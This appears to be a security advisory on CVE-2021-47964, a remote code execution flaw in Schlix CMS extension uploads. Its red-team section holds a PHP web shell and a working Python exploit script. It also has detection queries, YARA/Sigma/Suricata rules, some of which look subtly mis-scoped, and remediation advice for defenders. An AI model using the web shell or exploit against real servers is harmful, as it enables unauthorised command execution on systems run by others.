CVE-2021-47964

Executive Summary

CVE-2021-47964 is a critical Remote Code Execution (RCE) vulnerability in Schlix CMS version 2.2.6-6. The flaw resides in the block manager functionality, where an authenticated attacker can upload a malicious ZIP file containing a crafted packageinfo.inc file. Once uploaded, the attacker can trigger execution by navigating to the "About" tab of the installed extension, leading to arbitrary PHP code execution on the server. With a CVSS score of 8.8, this vulnerability poses a severe risk to confidentiality, integrity, and availability. No official patch has been released, making mitigation strategies critical.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a direct vulnerability in the Schlix CMS application itself.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The low attack complexity and lack of user interaction make this vulnerability highly exploitable by authenticated attackers.

Deep Dive & Mechanics

The vulnerability exists in the extension/block manager of Schlix CMS. The application allows authenticated users to upload extension packages in ZIP format. The upload process does not properly validate the contents of the ZIP file, specifically the packageinfo.inc file. An attacker can craft a ZIP archive containing a malicious packageinfo.inc file with embedded PHP code. After uploading, the attacker accesses the "About" tab of the installed extension, which triggers the execution of the PHP code within packageinfo.inc. This results in arbitrary code execution on the web server.

Root Cause: Insufficient validation of uploaded ZIP file contents, specifically the packageinfo.inc file, allowing PHP code injection.

Attack Flow:

1. Attacker authenticates to the Schlix CMS admin panel.
2. Attacker navigates to the block manager.
3. Attacker uploads a crafted ZIP file containing a malicious packageinfo.inc.
4. The CMS extracts and installs the extension.
5. Attacker accesses the "About" tab of the newly installed extension.
6. The PHP code in packageinfo.inc is executed, granting RCE.

Vulnerable vs. Patched Code

Vulnerable Code (Schlix CMS 2.2.6-6): The vulnerable code likely resides in the extension installation routine. The following is a conceptual representation of the flawed logic:

// Vulnerable: No validation of packageinfo.inc content
function installExtension($zipFile) {
    $zip = new ZipArchive();
    $zip->open($zipFile);
    $zip->extractTo('/path/to/extensions/');
    $info = file_get_contents('/path/to/extensions/packageinfo.inc');
    // Directly includes the file without sanitization
    include '/path/to/extensions/packageinfo.inc';
}

Patched Code (Hypothetical): A patched version would validate the contents of packageinfo.inc and avoid direct inclusion:

// Patched: Validate and sanitize packageinfo.inc
function installExtension($zipFile) {
    $zip = new ZipArchive();
    $zip->open($zipFile);
    // Validate file contents before extraction
    $infoContent = $zip->getFromName('packageinfo.inc');
    if (preg_match('/<\?php/i', $infoContent)) {
        die('Malicious code detected');
    }
    $zip->extractTo('/path/to/extensions/');
    // Use a safe parser instead of include
    $info = parse_ini_string($infoContent);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Schlix CMS 2.2.6-6 instance with admin credentials.
• A web server to host the malicious ZIP file (or direct upload).

Exploit Steps:

1. Create a malicious packageinfo.inc file:

   <?php
   system($_GET['cmd']);
   ?>
   

2. Create a ZIP archive containing the malicious file:

   zip malicious_extension.zip packageinfo.inc
   

3. Log in to the Schlix CMS admin panel.
4. Navigate to the block manager and upload the ZIP file.
5. After installation, access the "About" tab of the extension. The URL will be similar to:

   http://target.com/admin/extension/about?name=malicious_extension
   

6. Execute commands by appending &cmd=id to the URL.

Example Exploit (Python):

import requests
import zipfile
import io

target = "http://target.com"
session = requests.Session()

# Login
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/admin/login", data=login_data)

# Create malicious ZIP
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
    zf.writestr('packageinfo.inc', '<?php system($_GET["cmd"]); ?>')
zip_buffer.seek(0)

# Upload
files = {'extension': ('exploit.zip', zip_buffer, 'application/zip')}
session.post(f"{target}/admin/blockmanager/upload", files=files)

# Trigger execution
response = session.get(f"{target}/admin/extension/about?name=exploit&cmd=id")
print(response.text)

Blue Team

Detection Steps:

1. Monitor for unusual ZIP file uploads to the block manager.
2. Check for unexpected files in the extensions directory.
3. Look for suspicious packageinfo.inc files containing PHP code.
4. Monitor access logs for requests to /admin/extension/about with cmd parameters.

Hunting Query (Splunk):

index=web_logs source="/var/log/apache2/access.log"
| search uri="/admin/extension/about*"
| rex field=uri "cmd=(?<cmd>[^&]+)"
| where cmd!=""
| table _time, src_ip, uri, cmd

Indicators of Compromise (IOCs)

File-Based IOCs:

• packageinfo.inc files containing PHP code (e.g., system(), exec(), shell_exec())
• Unexpected ZIP files in the uploads directory
• New extension directories under /path/to/schlix/extensions/

Network IOCs:

• HTTP POST requests to /admin/blockmanager/upload with application/zip content type
• HTTP GET requests to /admin/extension/about with cmd parameter
• Outbound connections from the web server to attacker-controlled IPs

Log IOCs:

• Access logs showing cmd= parameter in the URI
• Error logs showing PHP execution of packageinfo.inc

Detection Engineering

YARA Rule

rule CVE_2021_47964_Schlix_RCE {
    meta:
        description = "Detects malicious packageinfo.inc files used in CVE-2021-47964"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2021-47964"
    strings:
        $php_code = /<\?php\s*(system|exec|shell_exec|passthru|popen|proc_open|eval|assert)\s*\(/
        $packageinfo = "packageinfo.inc"
    condition:
        $packageinfo and $php_code
}

Sigma Rule

title: CVE-2021-47964 Schlix CMS RCE via Malicious Extension Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2021-47964 by uploading malicious ZIP files to Schlix CMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/blockmanager/upload'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate extension uploads by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2021-47964 Schlix CMS RCE - Malicious Extension Upload";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/blockmanager/upload"; http_uri;
    content:"application/zip"; http_content_type;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the block manager if not required: Remove or restrict access to /admin/blockmanager/upload.
2. Restrict file uploads to only trusted administrators.
3. Implement file validation on the server side to reject ZIP files containing PHP code.
4. Use a Web Application Firewall (WAF) to block requests with cmd parameter in the URI.

Long-Term Fix:

• Since no official patch is available, consider migrating to a different CMS or applying a custom patch to validate uploaded extension files.
• Monitor the vendor's website for any future security updates.

Workaround:

• Modify the .htaccess file to deny access to the block manager:

  <Directory "/path/to/schlix/admin/blockmanager">
      Require all denied
  </Directory>
  

Valters IT